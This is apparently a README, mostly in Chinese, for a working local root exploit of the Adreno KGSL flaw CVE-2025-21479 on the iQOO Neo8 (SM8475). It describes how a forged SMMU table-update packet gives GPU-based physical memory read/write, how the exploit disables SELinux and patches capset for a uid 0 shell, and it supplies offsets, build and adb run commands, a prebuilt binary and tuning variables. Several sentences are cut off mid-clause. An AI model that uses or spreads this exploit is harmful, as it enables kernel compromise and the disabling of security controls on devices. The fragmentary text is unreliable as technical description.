Local root exploit for CVE-2025-21479 (Adreno KGSL) on iQOO Neo8 (SM8475) - physical memory r/w, disables SELinux, spawns root shell
针对 CVE-2025-21479 的本地提权实验代码,目标是 vivo V2301A(iQOO Neo8 / PD2301,Snapdragon 8+ Gen 1 / SM8475,Adreno A730,Android 14,GKI 内核 5.10)上的 Qualcomm Adreno GPU(KGSL)。
原理上,漏洞利用通过 KGSL 的 CP_SMMU_TABLE_UPDATE 命令驱动 GPU 的 SMMU,
获得任意物理内存读写能力,进而关闭 SELinux、定位内核符号并取得 root
shell——全程不需要刷机,也不依赖解锁 Bootloader。
仅限对你自己拥有、或已获授权的设备进行安全研究。
and $12, 0x3)存在缺陷,会把 Self-Draw-State(SDS)包误判为
RingBuffer(RB)。因此在用户态将伪造的 CP_SMMU_TABLE_UPDATE 放入 SDS
块中提交,即可覆写 GPU 的 TTBR0,让 GPU 页表指向任意物理页——从此 GPU
可以读写任意物理内存。stabilize_rw 将映射加固为 2 MB 自映射区域,
支持大批量快速读取(fast_pread_bytes 等)。selinux_state.enforcing 字段清零。
随后从固定物理基址 0xA8000000 转储内核映像(默认上限 43 MB)——
SM8475 没有物理 KASLR——并直接从原始转储中解析 kallsyms 结构
(大小端自动识别),因此虚拟 KASLR 也不影响。prepare_kernel_cred(0) →
commit_creds(),并关闭 seccomp)补丁 __do_sys_capset。fork 出的子进程
调用 capset() → 变为 uid 0 → 恢复被覆盖的内核代码 → 子进程以
u:r:shell:s0 域重新执行你指定的命令(默认 sh)。内核代码最终
与运行前逐字节一致。完整设备信息见 device_info.txt。
├── source/
│ ├── cheese.c # 漏洞利用主程序(include 了下面两个文件)
│ ├── kallsyms_lookup.c # 针对原始内核映像的 kallsyms 解析器
│ └── adrenaline.h # KGSL ioctl / 命令定义(作者 hawkes)
├── exploit # 预编译 arm64 二进制(动态链接,minSdk 21,
│ # NDK r30-beta2)
├── device_info.txt # 用于调参的目标设备信息
└── README.md
注意:cheese.c 会 #include kallsyms_lookup.c 和 adrenaline.h,
编译时三个文件需要放在同一目录。
任意较新的 Android NDK(r25+)均可,示例:
# 静态链接(自包含、任意 API 等级可运行;体积较大)
aarch64-linux-android34-clang -o cheese source/cheese.c -static
# 动态链接(体积小,依赖设备自带的 libc;API 等级需匹配设备)
aarch64-linux-android34-clang -o exploit_dyn source/cheese.c
# 若要兼容 API 21+ 设备,请改用 aarch64-linux-android21-clang
adb push exploit /data/local/tmp/
adb shell
chmod +x /data/local/tmp/exploit
/data/local/tmp/exploit
详细教程点我(里面有一键工具)
成功后会得到一个 uid=0 的 shell,且本会话 SELinux 已被关闭。进程在完成
提权后会重新执行 argv[1..](缺省为 sh)。每次运行会有一段倒计时
("pte wait 3 second")和 43 MB 内核读取进度("Read X / 43 MB")。

$(find /data/app -type f -name "libksud.so" | grep resukisu) late-load --kmi android12-5.10
设备相关常量位于 source/cheese.c 顶部:
KERNEL_PHYS_BASE — 内核物理基址(默认 0xA8000000,SM8475)IDMAP_PG_DIR_OFFSET — idmap_pg_dir 偏移(默认 0x245a000)selinux_state_offset — 定位 selinux_state 用的偏移(默认
0x729030,实际物理地址 = idmap_pg_dir 物理地址 + 该偏移)gPhyAddrs[] — 依次尝试的候选物理基址DEFAULT_KERNEL_SIZE_MB — 内核读取的兜底值 / 上限前置条件:Adreno A730/A7xx 系列 GPU(受影响固件)、物理转储中可解析到 kallsyms 的内核,且无物理 KASLR。
can't get GPU r/w — GPU 初始化失败;先等待,还是不行可尝试 CHEESE_ATTEMPT=1..n 或手动
指定 CHEESE_PHYADDR;调试单次尝试时加 CHEESE_NO_RETRY=1。CHEESE_READ_FULL_KERNEL=1 读取完整映像(配合
CHEESE_KALLSYMS_MAX_MB 扩大上限),再考虑 CHEESE_FORCE_MANUAL_PATCHFINDER=1。cheese 漏洞利用的作者adrenaline.h KGSL 头文件,提供 ioctl 接口定义基于 zhuowei/cheese 改造(原仓库无许可证)。 完整原理见 漏洞公告。
本仓库仅用于教育与安全研究,请仅在你自己拥有或已获授权的设备上使用。 作者不对任何滥用行为负责。使用本工具可能导致保修失效或违反相关服务条款。
| 型号 | vivo V2301A(iQOO Neo8,代号 PD2301,主板 taro) |
| SoC | SM8475(骁龙 8+ Gen 1)+ Adreno 730 |
| Android | 14(UP1A.231005.007,SDK 34,qssi-user) |
| 内核 | 5.10.198-gki-gfb2f5774872c |
| SELinux | Enforcing(运行时被本工具关闭) |
| 变量 | 作用 |
|---|
CHEESE_PHYADDR=<phys> | 强制指定内核物理基址(跳过内置的 gPhyAddrs 探测表)。 |
CHEESE_ATTEMPT=<n> | 使用 gPhyAddrs[n] 而非 gPhyAddrs[0];GPU 初始化失败后 maybe_retry 会自动递增重试。 |
CHEESE_SWAPPER_PG_DIR_OFF=<off> | 跳过 swapper_pg_dir 扫描,直接使用该绝对偏移。 |
CHEESE_READ_FULL_KERNEL=1 | 读取完整内核映像(默认读取上限为 DEFAULT_KERNEL_SIZE_MB = 43 MB)。 |
CHEESE_KALLSYMS_MAX_MB=<MB> | 覆盖 kallsyms 读取上限。 |
CHEESE_FORCE_MANUAL_PATCHFINDER=1 | 强制使用手工 patchfinder 兜底(init_cred、prepare_kernel_cred)。 |
CHEESE_SKIP_GPU=1 | 跳过 GPU 读写阶段(仅调试用)。 |
CHEESE_NO_RETRY=1 | 失败后直接退出,不做换号重试。 |